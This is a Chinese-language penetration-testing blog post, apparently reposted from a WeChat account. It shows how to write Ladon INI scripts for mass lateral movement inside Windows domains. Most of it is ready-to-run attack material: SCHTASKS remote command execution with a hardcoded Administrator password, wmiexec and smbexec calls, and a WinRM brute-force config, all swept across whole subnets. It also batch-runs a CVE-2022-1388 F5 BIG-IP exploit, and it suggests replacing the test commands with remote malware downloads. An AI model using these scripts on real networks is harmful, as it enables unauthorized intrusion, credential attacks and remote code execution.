在内网渗透中,使用net use、wmiexec、smbexec、psexec无法执行命令, 但可通过schtasks执行命令。特别是域内,如果权限丢失,需要补M,可通过此方法快速找几台可通过以上方式横向执行命令的机器。或者说遇到废弃的域,手工试了一些机器,才发现是个废域,但剩下几百上千台,也不知道哪些机器能连,所以我们需要批量验证,一是提高工作效率,二是自己不至于因为重复简单工作,而觉得烦,让程序自动,你看文章学习新思路不香吗?
本文再次为大家介绍下Ladon脚本POC编写方法,给"处男"扫盲,只需要熟悉系统命令,即可实现任意POC批量测试,如这几天新出的F5 BIG-IP漏洞POC,同样可以把PY编译成EXE,然后通过配置INI调用,就不用去考虑或调式PY批量的线程问题,或者其它问题,只需要成功一个,Ladon即可轻松解决批量问题。
INI插件
用法:Ladon 192.168.1.1/24 *.ini
无需编程能力,仅需熟悉相关CMD命令,配置程序名和参数即可。根目录创建ping.ini文件,仅需两个参数exe和arg,即可实现插件功能。变量$ip$
如批量ping内网C段存活主机
ping.ini文件内容
[Ladon]
exe=cmd.exe
arg=/c ping -n 1 $ip$
批量命令
Ladon 192.168.1.8/24 ping.ini 检测C段
Ladon 192.168.1.8/b ping.ini 检测B段
Ladon ip.txt ping.ini 检测IP列表 (ip.txt里放准备好的ip)
Ladon ip24.txt ping.ini 检测C段列表 (ip24.txt里放准备好的ip段列表)
用户: Administrator 密码: k8gege520
SCHTASKS远程执行命令
SCHTASKS /Create /S 10.8.10.8 /U Administrator /P "k8gege520" /SC ONCE /ST 15:21 /TN test /TR "whoami" /RU ""
密码正确 成功执行命令
SUCCESS: The scheduled task "test" has successfully been created.
密码错误
ERROR: Access is denied.
IP不通
ERROR: The request is not supported.
本机不允许
ERROR: User credentials are not allowed on the local machine.
删除任务
SCHTASKS /Delete /S $ip$ /U Administrator /P "k8gege520" /TN "test" /F
完整执行
SCHTASKS /Create /S 10.8.10.8 /U Administrator /P "k8gege520" /SC ONCE /ST 15:21 /TN test /TR "cmd /c whoami>c:userspublict.txt" /RU ""&&SCHTASKS /Run /S 10.8.10.8 /U Administrator /P "k8gege520" /I /TN "test"&&SCHTASKS /Delete /S 10.8.10.8 /U Administrator /P "k8gege520" /TN "test" /F
Ladon脚本 SchtaskScan.ini
[Ladon]
#Ladon 10.1.10.8/24 SchtaskScan.ini
exe=cmd.exe
arg=/c echo $ip$&&SCHTASKS /Create /S $ip$ /U Administrator /P "k8gege520" /SC ONCE /ST 15:21 /TN test /TR "whoami" /RU ""&SCHTASKS /Delete /S $ip$ /U Administrator /P "k8gege520" /TN "test" /F
isok=SUCCESS: The scheduled task "test" has successfully been created.
log=true
批量命令
Ladon 10.1.10.8/24 SchtaskScan.ini 检测C段
Ladon 10.1.10.8/b SchtaskScan.ini 检测B段
Ladon ip.txt SchtaskScan.ini 批量检测IP列表
Ladon ip24.txt SchtaskScan.ini 批量检测C段列表
Ladon ip16.txt SchtaskScan.ini 批量检测B段列表
将ini脚本和Ladon放在同一目录,执行以上命令,会返回哪些机器连接并执行成功,这样我们就不用一条一条命令复制粘贴去寻找哪台个人机可以执行命令了。当然如果遇到schtasks命令无法横向,其它命令可以横向,也是同理。
密码正确 执行成功 结果如下
10.1.10.8
SUCCESS: The scheduled task "test" has successfully been created.
SUCCESS: The scheduled task "test" was successfully deleted.
其它横向执行命令方法
Ladon Atexec 10.8.10.8 Administrator k8gege520 whoami
Ladon Smbexec 10.8.10.8 Administrator k8gege520 cmd whoami
wmiexec.exe Administrator:"k8gege520"@10.8.10.8 hostname
smbexec.exe Administrator:"k8gege520"@10.8.10.8
同理我们可以将Impacket套件的wmiexec编译成exe批量调用,直接调用py脚本也可以,但是这样效率比较低,所以编译成EXE好一些,SMBexec、atexec或者其它你自己写的工具也可以,当然Ladon最佳插件是.net写的exe或dll
WmiScan.ini
[Ladon]
exe=wmiexec.exe
arg=Administrator:"k8gege520"@$ip$ hostname
log=true
批量命令
Ladon 10.1.10.8/24 WmiScan.ini 检测C段
Ladon 10.1.10.8/b WmiScan.ini 检测B段
Ladon ip.txt WmiScan.ini 批量检测IP列表
Ladon ip24.txt WmiScan.ini 批量检测C段列表
Ladon ip16.txt WmiScan.ini 批量检测B段列表
Impacket v0.9.16-dev - Copyright 2002-2016 Core Security Technologies
[*] SMBv3.0 dialect used 成功标志 发现也不一定是3
目标机器名
输出IP
[Ladon]
exe=cmd.exe
arg=/c echo $ip$&&wmiexec Administrator:"k8gege520"@$ip$ hostname
log=true
WinrmScan.ini
[Ladon]
#Brute-Force WinRM
exe=cmd.exe
arg=/c "chcp 437 & winrs -r:http://$ip$:5985 -u:$user$ -p:$pass$ "echo isok""
#exe=WinrmScan.exe
#arg=$ip$ $user$ $pass$
port=5985
isok=isok
log=true
注意:INI脚本必须为ANSI编码,当前机器与目标必须启用WINRM,且放行5985端口 Winrm利用详解: http://k8gege.org/Ladon/WinrmScan.html
CVE-2022-1388 F5 BIG-IP 批量检测POC
F5poc.ini脚本内容
[Ladon]
#Ladon 192.168.60.1/24 F5poc.ini
exe=CVE-2022-1388.exe
arg=-u https://$ip$ -c id
#arg=-u https://$ip$
log=true
对PY进行简单修改编译成 cve-2022-1388.exe 检测443、8443、7443端口
批量命令
Ladon 192.168.60.1/24 F5poc.ini 检测C段
Ladon 192.168.60.1/b F5poc.ini 检测B段
Ladon ip.txt F5poc.ini 批量检测IP列表
Ladon ip24.txt F5poc.ini 批量检测C段列表
Ladon ip16.txt F5poc.ini 批量检测B段列表
小结
本文示例为执行whoami和hostname,大家可根据实据需求替换命令即可,如直接远程下载M,当然也可以根据本文例子,实现其它功能。当然如果大家,只是单纯的验证密码,使用SmbScan、NbtScan、WmiScan等模块即可,那些模块都是内存加载的效率更高,INI脚本是批量调用外部程序,部分程序命令可能会有兼容问题的。
原文始发于微信公众号(K8实验室):[插件]SCHTASKS批量执行命令 CVE-2022-1388 F5 BIG-IP 批量检测POC
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论